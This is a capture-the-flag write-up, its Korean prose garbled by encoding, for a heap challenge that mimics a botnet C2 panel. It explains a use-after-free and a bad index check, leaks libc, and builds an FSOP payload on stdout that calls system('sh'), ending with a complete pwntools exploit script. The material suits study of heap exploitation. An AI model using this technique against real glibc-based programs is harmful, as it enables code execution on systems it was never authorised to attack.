0x00. Introduction
[*] '/home/user/sleeping_cnc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Concept
=================================
C2 SERVER v1.0 - INITIALIZED
=================================
[*] Command & Control Server
[*] Managing botnet operations...
===== C2 CONTROL PANEL =====
1. Register new bot
2. Update bot info
3. Send command to bots
4. Deploy task
5. Abort running task
6. Shutdown C2 server
>>
C2 ์๋ฒ์ ๋์์ ๊ตฌํํด๋์ ๋ฌธ์ ์ด๋ค.
Structure
struct __fixed bot
{
char *ip; char *info; int status;
};
bot์ ์์ ๊ฐ์ด ๊ตฌ์ฑ๋๋ฉฐ malloc()์ผ๋ก ์์ฑ ์ 0x20 ํฌ๊ธฐ์ chunk๋ฅผ ํ ๋น๋ฐ๋๋ค.
0x01. Vulnerability
Use After Free
int deploy_task_1CE0()
{
__int64 v0; pthread_t v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u);
if ( task_running_40C8 )
{
puts("[!] A task is already running");
}
else if ( bot_count_40CC <= 0 )
{
puts("[!] Need at least 1 bots to deploy task");
}
else
{
task_running_40C8 = 1;
if ( pthread_create(&v2, 0LL, start_routine, 0LL) )
err("Failed to create task thread");
puts("[+] Task deployed");
return v3 - __readfsqword(0x28u);
}
return v0;
}
๋ช
๋ น์ ์ ๋ฌํ๋ ์ปจ์
์ deploy_task_1CE0()์์ ์ ์ญ ๋ณ์ task_running_40C8์ ๊ฐ์ด 0์ธ์ง ์ฒดํฌํ๊ณ ๋ง์ผ๋ฉด 1๋ก ๋ฐ๊พผ ๋ค ์ฐ๋ ๋๋ฅผ ์์ฑํ๋ค. ์ด ๊ฐ์ ๋ค์ 0์ผ๋ก ๋ฐ๊พธ๋ ๊ฒ์ mutex๋ก ๊ด๋ฆฌ๋๊ธฐ ๋๋ฌธ์ deploy_task_1CE0()๋ abort task๋ฅผ ํ๊ธฐ ์ ์ ๋ค์ ํธ์ถํ ์ ์๋ค.
void *__fastcall start_routine(void *a1)
{
unsigned int last;
pthread_mutex_lock(&mutex);
last = bot_count_40CC - 1;
puts("\n[!] OP : Starting operation...");
__printf_chk(2LL, "[!] Bot %s (info : %s) has dominated\n", bot_list_40E0[last]->ip, bot_list_40E0[last]->info);
puts("[*] Attempting reconnection...");
free_vuln_1B80(last);
pthread_cond_wait(&cond, &mutex);
puts("\n[*] Task completed. Bot terminated.");
--bot_count_40CC;
task_running_40C8 = 0;
pthread_mutex_unlock(&mutex);
return 0LL;
}
์ฐ๋ ๋ ๋ด๋ถ์์๋ ๋ง์ง๋ง bot์ ์ ๋ณด๋ฅผ ์ถ๋ ฅํด์ฃผ๊ณ ์ทจ์ฝํ free_vuln_1B80()์ ํธ์ถํด์ค๋ค.
์ฒ์์๋ abort task๋ฅผ ํ๊ธฐ ์ ์ bot_count_40CC๊ฐ ๊ฐ์ํ์ง ์์ผ๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํด์ race condition ๋น์ทํ ๊ฑธ ํด์ผํ๋ ์ถ์๋๋ฐ, ํ์ ํ ๋ค๋ฅธ ์ทจ์ฝ์ ๋๋ถ์ ํ์๊ฐ ์์ด์ก๋ค.
void __fastcall free_vuln_1B80(int index)
{
struct bot *bot;
bot = bot_list_40E0[index];
if ( bot )
{
*bot->ip = 0;
*bot->info = 0;
free(bot->ip);
free(bot->info);
free(bot);
}
}
์ต์ข
์ ์ผ๋ก free_vuln_1B80()์์๋ bot, bot->ip์ bot->info๋ฅผ ํด์ ํ์ง๋ง ํฌ์ธํฐ ๊ฐ์ ์ด๊ธฐํํ์ง๋ ์๊ธฐ ๋๋ฌธ์ dangling pointer๋ก ๋จ๊ฒ ๋๋ค. ์ด ํฌ์ธํฐ๋ฅผ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณํด์ UAF๋ก ํ์ฉํ ์ ์๋ค.
Improper Check
int update_bot_18D0()
{
int v0; struct bot *bot_selected; int v2; unsigned int tmp; unsigned __int64 v5;
v5 = __readfsqword(0x28u);
__printf_chk(2LL, "[?] Bot index to update: ");
tmp = 0;
__isoc99_scanf(" %d", &tmp);
do
v0 = getc(stdin);
while ( v0 != 10 && v0 != -1 );
if ( tmp > 4 ) return puts("[!] Invalid bot index");
bot_selected = bot_list_40E0[tmp];
if ( !bot_selected )
return puts("[!] Bot not found at this index");
__printf_chk(2LL, "[+] New ip_address: ");
my_read_1740(bot_selected->ip, 0x18);
__printf_chk(2LL, "[+] New info: ");
my_read_1740(bot_selected->info, 0x500);
__printf_chk(2LL, "[+] New status: ");
tmp = 0;
__isoc99_scanf(" %d", &tmp);
do
v2 = getc(stdin);
while ( v2 != -1 && v2 != 10 );
bot_selected->status = tmp;
return puts("[+] Bot information updated");
}
update_bot_18D0()์์ ์
๋ฐ์ดํธํ bot์ ๊ณ ๋ฅด๊ธฐ ์ํด index๋ฅผ ์
๋ ฅ๋ฐ๋๋ค. ์ด ๋ bot์ ๊ฐ์๋ฅผ ์ ์ฅํ๋ bot_count_40CC์ ๋น๊ตํด์ผ ํ๋๋ฐ, ์ต๋๊ฐ์ธ 4๋ณด๋ค ํฐ์ง๋ฅผ ํ์ธํ๋ค. ๋ฐ๋ผ์ ํฌ์ธํฐ๊ฐ ์ ํจํ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ธฐ๋ง ํ๋ค๋ฉด ํด์ ๋ bot์ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค.
0x02. Exploit
Libc Leak
์ด์จ๋๊ฐ์ ์๋ฌด๋ฐ ์ฃผ์๊ฐ๋ ์๊ณ ์ถ๋ ฅ๋ถ๊ฐ ์ฐ๋ ๋ ํจ์์ธ start_routine()์๋ง ์๊ธฐ ๋๋ฌธ์ bot->ip๋ bot->info๋ฅผ ํตํด leak์ ํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.
์ด ์ค bot->info๋ 0x500์ง๋ฆฌ ํฐ ํฌ๊ธฐ์ chunk์ด๊ธฐ ๋๋ฌธ์ ํด์ ๋๋ฉด unsorted bin์ผ๋ก ๊ฐ๊ฒ ๋๋ค. ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด libc์ main_arena ์ค๊ฐ ์ฃผ์๋ฅผ ์ ์ฅํ๊ณ ์๋ค.
gefโค x/3gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592d0 0x00005555555592f0
0x5555555592b0: 0x0000000000000001
gefโค x/4gx 0x00005555555592f0
0x5555555592f0: 0x00007ffff7facb20 0x00007ffff7facb20
0x555555559300: 0x0000000000000000 0x0000000000000000
์ด chunk๋ ํด์ ๋ ๋ค ๊ฐ์ด ์ด๊ธฐํ๋์ง ์๊ณ ๋ค์ bot->info ํ ๋น ๋ ๋ค์ ๋ฐํ๋๋ค. ์ถ๋ ฅ๋ถ์์ %s ํฌ๋งท ์คํธ๋ง์ผ๋ก info๋ฅผ ์ถ๋ ฅํด์ฃผ๋๊น \x00์ ์ ์ฑ์์ info๋ฅผ ์
๋ ฅํด์ฃผ๋ฉด libc leak์ด ๊ฐ๋ฅํ๋ค.
deploy_task(s)
abort_task(s)
register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
r = deploy_task(s)
libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
lib.address = libc
stdout = libc + stdout_offset
buf = libc + buf_offset
log.info(f"libc : {hex(libc)}")
log.info(f"stdout : {hex(stdout)}")
log.info(f"buf : {hex(buf)}")
abort_task(s)
Use After Free
์ด์ UAF๋ฅผ ์ํด dangling pointer๋ฅผ ๋จ๊ฒจ๋์ด์ผ ํ๋ค. ์ฌ์ค bot ์์ฑ ํ ํด์ ํ๊ธฐ๋ง ํ๋ฉด ๋ฐ๋ก dangling pointer๋ฅผ ๋ง๋ค ์ ์๋ค.
register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
deploy_task(s)
abort_task(s)
์ ์ฝ๋๋ฅผ ์คํ ํ ๋ฉ๋ชจ๋ฆฌ์ fastbin์ ํ์ธํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
gefโค x/5gx 0x0000555555554000 + 0x40e0
0x5555555580e0: 0x00005555555592a0 0x0000000000000000
0x5555555580f0: 0x0000000000000000 0x0000000000000000
0x555555558100: 0x0000000000000000
gefโค heap bins
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Tcachebins for thread 1 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
All tcachebins are empty
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Fastbins for arena at 0x7ffff7e1ac80 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Fastbins[idx=0, size=0x20] โ Chunk(addr=0x5555555592d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] โ Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
์ฒซ ๋ฒ์งธ bot์ด 0x5555555592a0์ ํ ๋น๋์๋ค๊ฐ ํด์ ๋์์ผ๋ฉฐ, ๊ทธ๋ก ์ธํด ํฌ๊ธฐ๊ฐ 0x30์ธ fastbin์ chunk๊ฐ ๋ค์ด๊ฐ ์๋ค.
int send_command_1A70()
{
int v0; void *cmd; int v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u);
puts("[*] Operating Command :");
puts(" 1. Quick command ");
puts(" 2. General command ");
__printf_chk(2LL, ">> ");
v3 = 0;
__isoc99_scanf(" %d", &v3);
if ( v3 == 1 )
{
cmd = malloc(0x20uLL);
puts("[+] Write Quick command payload :");
}
else
{
cmd = malloc(0x100uLL);
puts("[+] Write command payload :");
}
my_read_1740(cmd);
return puts("[+] Command queued for deployment");
}
๋ง์นจ send_command_1A70()์์ 0x20์ง๋ฆฌ chunk๋ฅผ ํ ๋น๋ฐ๊ธฐ ๋๋ฌธ์ 0x30 fastbin์์ chunk๋ฅผ ๋ฐ์์ค๊ณ , ๋ด์ฉ๋ ์ธ ์ ์๋ค. ๋ฐ๋ผ์ send_command_1A70()๋ฅผ ํตํด bot->ip๋ bot->info๊ฐ ๊ฐ๋ฆฌํค๋ ์ฃผ์๊ฐ์ ๋ณ์กฐํ ๋ค update_bot_18D0()์ผ๋ก AAW๋ฅผ ๋ง๋ค ์ ์๋ค.
์ด์ AAW๋ฅผ ์ด์ฉํด ์ด๋ป๊ฒ RIP control์ ํ ์ง ๊ณ ๋ฏผํด์ผํ๋๋ฐ, libc leak ๋ง๊ณ ๋ค๋ฅธ leak์ด ์๊ณ 0x500์ด๋ผ๋ ํฐ ํฌ๊ธฐ์ ๋ด์ฉ์ ์ธ ์ ์์ผ๋ฏ๋ก FSOP๋ฅผ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
FSOP
๋จผ์ ์์ ์ธ๊ธํ๋๋ก send_command_1A70()๋ฅผ ์ด์ฉํด bot ๊ตฌ์กฐ์ฒด์ ๋ด์ฉ์ ๋ณ์กฐํ๋ค.
payload = p64(buf) payload += p64(stdout) payload += p64(1) send_command(s, b"1", payload)
buf๋ exploit์์ ํ์ํ์ง ์์ผ๋ฏ๋ก libc ์์ญ ์ค ๋ฌด์๋ฏธํ ์๋ฌด ์์ญ์ ์ฃผ์๋ฅผ ๋ฃ์๋ค. bot->info๊ฐ stdout์ ๊ฐ๋ฆฌํค๊ณ ์์ผ๋ฏ๋ก bot->info๋ฅผ updateํ ๋ stdout์ ๋ด์ฉ์ ๋ณ์กฐํ ์ ์๋ค.
stdout์ ๋ง์ง๋ง ํ๋์ธ vtable ํฌ์ธํฐ๊น์ง ๋ฎ์ ์ ์์ผ๋ฏ๋ก(0xe0 ์ด์) ๋ค์ FSOP payload๋ฅผ ์ฌ์ฉํ ์ ์๋ค.
stdout_lock = lib.sym.__nptl_last_event - 0x48
payload = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
_markers=lib.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
update_bot(s, b"0", b"CCCCCCCC", payload)
์ดํ puts๋ printf๋ฅผ ๋ง๋๋ฉด _IO_wfile_overflow๊ฐ ํธ์ถ๋๋ฉฐ ์์ ์คํ์ํฌ ์ ์๋ค.
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "prob"
LIBRARY = "libc.so.6"
CONTAINER = "9d734f3d11b8"
code_base = 0x555555554000
bp = {
'main' : code_base + 0x12BA,
}
gs = f'''
!b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
context.log_level = "DEBUG"
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
def register_new_bot(s, ip, info, status):
s.sendline(b"1")
s.sendafter(b"address: ", ip)
s.sendafter(b"info: ", info)
s.sendlineafter(b"online): ", status)
return s.recvuntil(b">> ")
def update_bot(s, index, ip, info):
s.sendline(b"2")
s.sendlineafter(b"update: ", index)
s.sendafter(b"address: ", ip)
s.sendafter(b"info: ", info)
return
def send_command(s, mode, cmd):
s.sendline(b"3")
s.sendlineafter(b">> ", mode)
s.sendlineafter(b"payload :\n", cmd)
return s.recvuntil(b">> ")
def deploy_task(s):
s.sendline(b"4")
sleep(0.5)
return s.recvuntil(b"reconnection...\n")
def abort_task(s):
s.sendline(b"5")
sleep(0.5)
return s.recvuntil(b"terminated.\n")
def shutdown(s):
s.sendline(b"6")
return s.recvuntil(b"server...\n")
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
main_arena_offset = 0x203b20
stdout_offset = 0x2045c0
buf_offset = 0x204700
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
main_arena_offset = 0x21ace0
stdout_offset = 0x2045c0
buf_offset = 0x204700
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(">> ")
deploy_task(s)
abort_task(s)
register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
r = deploy_task(s)
libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
lib.address = libc
stdout = libc + stdout_offset
buf = libc + buf_offset
log.info(f"libc : {hex(libc)}")
log.info(f"stdout : {hex(stdout)}")
log.info(f"buf : {hex(buf)}")
abort_task(s)
register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
deploy_task(s)
abort_task(s)
payload = p64(buf)
payload += p64(stdout)
payload += p64(1)
send_command(s, b"1", payload)
stdout_lock = lib.sym.__nptl_last_event - 0x48
payload = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
_markers=lib.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
update_bot(s, b"0", b"CCCCCCCC", payload)
s.interactive()
print(shutdown(s))
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)
0x04. Reference